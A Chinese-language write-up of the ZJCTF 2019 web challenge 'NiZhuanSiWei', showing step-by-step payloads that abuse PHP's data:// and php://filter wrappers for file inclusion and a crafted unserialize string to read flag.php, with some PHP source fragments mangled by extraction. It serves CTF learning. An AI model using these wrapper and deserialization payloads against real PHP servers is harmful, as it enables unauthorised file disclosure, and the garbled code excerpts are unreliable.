[ZJCTF 2019]NiZhuanSiWei

这道题涉及到的知识点:
1.data伪协议写入文件
2.php://

php://filter用于读取源码
php://input用于执行php代码

一进门就给了源码,看来是个代码审计题。

".file_get_contents($text,'r')."


"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>

首先,针对

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

这一行代码进行一个绕过。因为我们不知道后台哪个文件的源码是welcome to the zjctf,说不准就真没有,只能在传入的时候直接带进来。这里利用到data伪协议将数据直接写进去,以供file_get_contents函数读取。

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

这样即可。

第二个绕过

if(preg_match("/flag/",$file)){     #上传的file变量中不能包含'flag'字样
        echo "Not now!"; 
        exit();  
    }else{ 
        include($file);  //useless.php 
        $password = unserialize($password); 
        echo $password; 
    }

这里源码给你提示了,让你包含useless.php,如果包含flag.php直接报错。
于是

file=useless.php

如果直接这么执行的话,返回的文件中包含的php代码会直接当成php命令来执行,所以需要base64编码一下,以免被执行。

file=php://filter/read=convert.base64-encode/resource=useless.php

这里利用php"//filter来读取源码:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php[ZJCTF 2019]NiZhuanSiWei_第1张图片
得到了

file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

这里直接利用php反序列化漏洞
脚本如下:

file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a = new Flag(); $a -> file='flag.php'; echo serialize($a); ?>

得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终的payload:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
[ZJCTF 2019]NiZhuanSiWei_第2张图片

你可能感兴趣的:(安全,CTF,WEB安全)